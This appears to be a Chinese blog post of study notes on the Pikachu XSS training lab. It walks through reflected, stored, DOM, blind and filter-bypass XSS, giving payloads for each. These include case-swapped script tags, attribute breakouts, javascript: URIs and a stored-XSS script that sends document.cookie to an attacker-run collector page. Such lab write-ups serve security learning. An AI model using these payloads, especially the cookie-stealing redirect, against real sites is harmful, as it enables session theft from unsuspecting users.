pikachu靶场之XSS学习笔记

发布于:2022-12-03 ⋅ 阅读:(559) ⋅ 点赞:(0)

XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
  输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
  输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

今天我们要利用皮卡丘靶机进行Xss相关的学习

 本文为学习笔记,仅供学习!!

反射型XSS(get)

反射型大家应该比较熟悉了,一般处在于搜索框等页面跳转的地方,且不能长久的存在、必须使用特定的url才能使被攻击者中招,反射型分为get和post两种。而get是以url方式提交数据,且更容易被利用。

尝试输入<script>alert(‘xss’)</script>

发现只能输入一半,应该是被限制输入了,鼠标点击对话框右击后点检查修改输入长度。

设置合适的长度,再次输入。

成功。

反射型XSS(post)

Post型主要是以表单的方式在请求体里提交,所以不能直接利用url进行攻击,可以根据盲打进行学习,除此以外注入的基本思路与post一样

存储型XSS

一般存在于留言等用户留存信息的地方,危害性比反射性型大,因为它可以存储在数据库中,且只要存在于数据库就可以持续攻击,可以广泛的收集用户信息,且是无差别攻击。

先构造一个cookie的

<script>document.location=’http://192.168.179.132/pikachu/pkxss/xcookie/cookie.php?cookie= ’+document.cookie;</script>

发现提示192.168.1.4服务器响应异常。这时需要将pikachu/pkxss/xcookie/目录下的cookie.php。进行修改将其定义到一个正常能响应的站。例如皮卡丘的首页,致使被攻击者认为是该页面出现了闪退问题。

只要一访问便会被盗取cookie。去xss后台查看一下盗取的cookie

全都是刚刚截获的cookie

DOM型xss

正常注入好像不可以,查看一下页面源码

发现需要闭合<a href='"+str+"'>what do you see?</a>,而str便是我们输入的信息,构造一下:#' onclick ="alert(document.cookie)">

DOM型xss-x

和上面的一样的输入,发现成功了

因为它的输入也是从url上获取的。

XSS之盲打

盲打实际上是一种攻击场景。模拟将信息反馈到服务器让管理员中招。由于发送出去不能很直观的看到结果,所以直接注入payload:

<script>alert(document.cookie)</script>

进入后台查看一下

成功获得cookie

XSS之过滤

过滤,无非就是过滤掉敏感字符或者标签,先尝试提交一下

<script>alert(document.cookie)</script>

只是剩下>,尝试输入<script></script>,发现是一样的结果。所以可能将小写的<script>过滤掉了。所以尝试一下用复写或大小写写入<Script>alert(document.cookie)</Script>

直接成功,其实发现<script>被过滤也可以选择更换标签,比如img、body

XSS之htmlspecialchars

首先要了解一下这个函数,这个函数的作用就是将常见的敏感字符转化成HTML实体。Dvwa中的impossible也有利用到这个函数结合token进行防御的。所以感觉没戏。

浅浅将它编码的字符都输入进去试试,万一它忘了过滤某些字符呢?

111111111111’”<>#$%

查看一下源码

发现未对单引号进行编码。构造payload:k’ οnclick=’alert(document.cookie)’

兴奋极了,直接就成功了。我高兴的去dvwa试了一下发现不行,可能全过滤了吧,保不齐。

XSS之href输出

先输入<script>alert(document.cookie)</script>什么返回也没用。查看一下页面源码

符号都被替换掉了

尝试输入一下Javascript:alert(document.cookie)

发现成功

XSS之js输出

根据提示输入tamc

查看源码

需要将前面的单引号闭合,再加入我们的语句。

构造payload: k’ <script>alert(document.cookie)</script>

发现不行。再查看源码

原来是忘记闭合了前面的<script>

重新构造payload: k’ </script><script>alert(document.cookie)</script>

成功。


网站公告

今日签到

点亮在社区的每一天
去签到